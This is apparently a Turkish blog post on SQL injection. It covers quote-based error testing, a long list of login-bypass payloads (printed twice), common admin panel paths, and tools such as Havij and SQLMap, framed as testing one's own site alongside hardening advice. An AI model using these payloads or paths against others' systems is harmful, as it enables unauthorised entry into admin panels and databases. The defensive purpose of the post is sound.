SQL Injection Nedir? Bilgi Güvenliği İçin Test Araçları
SQL Injection Nedir?

Web uygulamalarında bir çok işlem için kullanıcıdan alınan veri ile dinamik SQL cümlecikleri oluşturulur. Mesela "SELECT * FROM Urunler" örnek SQL cümleciği basit şekilde veri tabanından web uygulamasına tüm ürün bilgilerini getirecektir. Bu SQL cümlecikleri oluşturulurken araya sıkıştırılan herhangi bir meta-karakter SQL Injection'a sebep olabilir. SQL için kritik meta karakter (') tek tırnaktır. Çünkü iki tek tırnağın arası string olarak algılanır. Diğer bir önemli meta-karakter ise (;) noktalı virgüldür, satırın bittiğini ve yeni satır başladığını bildirir.
Manuel olarak ise tek tırnak meta karakterini tarayıcı (Browser) üzerinde şu şekilde deneyebiliriz;
domain.com/urunler.aspx?id=20 bu isteğin sonuna (') tek tırnak konur. urunler.aspx?id=20' daha sonra site tarafından bir SQL hatası alınırsa SQL Injection yapılabileceğini göstermektedir zafiyet.
Login Bypass Testi
SQL Injection Saldırısının en basit ve kendi sitenizde de deneyebileceğiniz yöntem olan Login Bypass, Kullanıcı adı ve Şifre kısmına Bypass edici meta kodlarını yazarak panele giriş yapabilmeyi göstereceğim. Bu saldırıyı deneme yanılma yolu ile yapabilirsiniz aşağıdaki kodları kullanarak.
''Or'='Or''
anything' OR 'x'='x
1'or'1'='1
' or 1=1 or ''='
" or 1=1 or ""="
' OR ''='
'' OR ''=''
'OR''='
hey' or 1=1–
''Or 1 = 1'
' or 1=1--
or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
hi") or ("a"="a
'hi' or 'x'='x';
x' or 1=1 or 'x'='y
\x27\x4F\x52 SELECT *
\x27\x6F\x72 SELECT *
'or select *
admin'--
")) or (("x"))=(("x
" or ""+"
admin"or 1=1 or ""="
admin") or ("1"="1"--
''Or'='Or''
anything' OR 'x'='x
1'or'1'='1
' or 1=1 or ''='
" or 1=1 or ""="
' OR ''='
'' OR ''=''
'OR''='
hey' or 1=1–
''Or 1 = 1'
' or 1=1--
or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
hi") or ("a"="a
'hi' or 'x'='x';
x' or 1=1 or 'x'='y
\x27\x4F\x52 SELECT *
\x27\x6F\x72 SELECT *
'or select *
admin'--
")) or (("x"))=(("x
" or ""+"
admin"or 1=1 or ""="
admin") or ("1"="1"--
Birçok sitenin yönetim paneli giriş sayfası standarttır. Bunları çoğu aşağıda vereceğim dizin veya dosya uzantısı şeklinde inceleyebilirsiniz. Bunlardan kaçının ve yönetim paneline giriş dosya isminizi mutlaka bilinmeyecek şekilde değiştirin.
Örnek olarak mesela bir sitenin yönetim paneli domain.com/admin/login.asp olsun. Eğer dosya veya dizin isimlerini değiştirme gibi bir şansınız yoksa. Yönetim dizini yani örnekteki gibi admin klasörüne cPanel, Plesk, MaestroPanel gibi Web yönetim panelinde bu dizinlere ön şifreleme koymanızı öneririm. Bu paneller dışında özellikle Linux Hosting alt yapısı kullanan siteler Htaccess dosyası ile de ön şifreleme paneli oluşturabilir.

Bunu yapmamızın sebebi Hacker tarafından veritabanı yönetim bilgileri çekilse bile yönetim panelinden giriş yapamayacak olmasıdır. Tabi diğer bilgilerin çekilmemesi için sitedeki SQL açığını kapatmak zorundasınız./admin/admin/login.asp/yonetim/yonetim/giris.php/panel/kontrolpanel/administrator/giris/login/superadmin/controlpanel/yonetici/sitepanel
Bilgi Güvenliği için Test Araçları
Bilgi güvenliğiniz için SQL Injection açıklarını kendi sitenizde aşağıdaki araçları kullanarak arayabilir ve test edebilirsiniz. Bu sayede hangi sayfada yazılımsal açık var onu bularak müdahale edebilirsiniz. Aynı zamanda aşağıdaki araçlar ile sadece SQL değil Web siteniz üzerindeki diğer zafiyetleri taramak içinde kullanabilirsiniz.
1- Acunetix Web Vulnerability Scannerİlgili web sitelerden indirme yaparak belirli süreli deneme versiyonları ile sitenizdeki hem SQL açıklarını hemde diğer zafiyetleri tarayarak görebilirsiniz.
2- HavijSQL açığı bulduğunuz veya şüphelendiğiniz sayfayı detaylı olarak incelemek için kullanabileceğiniz bir yazılım bularak ki bunlar internette çoktur. Bulduğunuz zafiyet üzerinden sitenin Tablo ve Sütunlarını öğrenmenizi sağlar.
3- jSQL InjectionJava ile yazılmış Havij benzeri SQL Injection test yazılımları uygulamayı çalıştırmak için bilgisayarda JAVA ve Java Geliştirme Paketi (JDK) kurulu olması gerekir. Yine bunun için internette gerekli programlar yazılımlar mevcut oradan edinilerek kullanabilrisiniz
4- SQLMap
Python dilinde yazılmış SQL hatalarını bulmaya yarayan bir güvenlik yazılımıdır. Yazılımı bir Linux dağıtımı üzerinde kullanmanızı öneririm çünkü işlemleri Terminal üzerinde yapıyorsunuz. Tabi isteyenler Windows'a Python yükleterek de çalışabilir. Manüel olarak çalışacağınız için Basic SQL kod bilgisine ihtiyacınız vardır. Havij gibi kullanımı basit değildir.
Yorumlar
Yorum Gönder